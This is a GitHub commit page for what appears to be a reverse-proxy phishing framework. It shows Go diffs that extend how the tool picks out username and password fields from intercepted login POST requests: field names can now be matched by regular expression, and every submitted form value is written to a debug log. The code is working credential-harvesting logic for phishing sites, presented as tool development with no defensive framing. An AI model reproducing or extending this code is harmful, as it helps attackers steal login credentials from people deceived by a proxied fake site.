Skip to content

Commit

Permalink
added regexp for POST key names
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Sep 10, 2018
1 parent ecd8202 commit 2a505a0
Show file tree
Hide file tree
Showing 2 changed files with 62 additions and 19 deletions.
5 changes: 3 additions & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -224,7 +224,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
if req.ParseForm() == nil {
for k, v := range req.Form {
if k == pl.k_username {
log.Debug("POST %s = %s", k, v[0])
if (pl.k_re_username != nil && pl.k_re_username.MatchString(k)) || (pl.k_re_username == nil && k == pl.k_username) {
if re, err := regexp.Compile(pl.re_username); err == nil {
um := re.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
Expand All @@ -236,7 +237,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}
if k == pl.k_password {
if (pl.k_re_password != nil && pl.k_re_password.MatchString(k)) || (pl.k_re_password == nil && k == pl.k_password) {
if re, err := regexp.Compile(pl.re_password); err == nil {
pm := re.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
Expand Down
76 changes: 59 additions & 17 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ package core

import (
"encoding/base64"
"fmt"
"net/url"
"regexp"
"strings"
Expand Down Expand Up @@ -34,21 +35,23 @@ type AuthToken struct {
}

type Phishlet struct {
Site string
Name string
Author string
minVersion string
proxyHosts []ProxyHost
domains []string
subfilters map[string][]SubFilter
authTokens map[string][]*AuthToken
authUrls []*regexp.Regexp
k_username string
re_username string
k_password string
re_password string
landing_path []string
cfg *Config
Site string
Name string
Author string
minVersion string
proxyHosts []ProxyHost
domains []string
subfilters map[string][]SubFilter
authTokens map[string][]*AuthToken
authUrls []*regexp.Regexp
k_username string
k_re_username *regexp.Regexp
re_username string
k_password string
k_re_password *regexp.Regexp
re_password string
landing_path []string
cfg *Config
}

type ConfigProxyHost struct {
Expand Down Expand Up @@ -118,8 +121,10 @@ func (p *Phishlet) Clear() {
p.authTokens = make(map[string][]*AuthToken)
p.authUrls = []*regexp.Regexp{}
p.k_username = ""
p.k_re_username = nil
p.re_username = ""
p.k_password = ""
p.k_re_password = nil
p.re_password = ""
}

Expand Down Expand Up @@ -166,10 +171,47 @@ func (p *Phishlet) LoadFromFile(path string) error {
}
p.authUrls = append(p.authUrls, re)
}

st := strings.Split(fp.UserRegex.Key, ",")
if len(st) > 0 {
key := st[0]
p.k_username = key

for i := 1; i < len(st); i++ {
switch st[i] {
case "regexp":
var err error
p.k_re_username, err = regexp.Compile(key)
if err != nil {
return err
}
}
}
} else {
return fmt.Errorf("user_regex key name can't be empty")
}
p.re_username = fp.UserRegex.Re
p.k_username = fp.UserRegex.Key

st = strings.Split(fp.PassRegex.Key, ",")
if len(st) > 0 {
key := st[0]
p.k_password = key

for i := 1; i < len(st); i++ {
switch st[i] {
case "regexp":
var err error
p.k_re_password, err = regexp.Compile(key)
if err != nil {
return err
}
}
}
} else {
return fmt.Errorf("pass_regex key name can't be empty")
}
p.re_password = fp.PassRegex.Re
p.k_password = fp.PassRegex.Key

p.landing_path = fp.LandingPath

return nil
Expand Down

0 comments on commit 2a505a0

Please sign in to comment.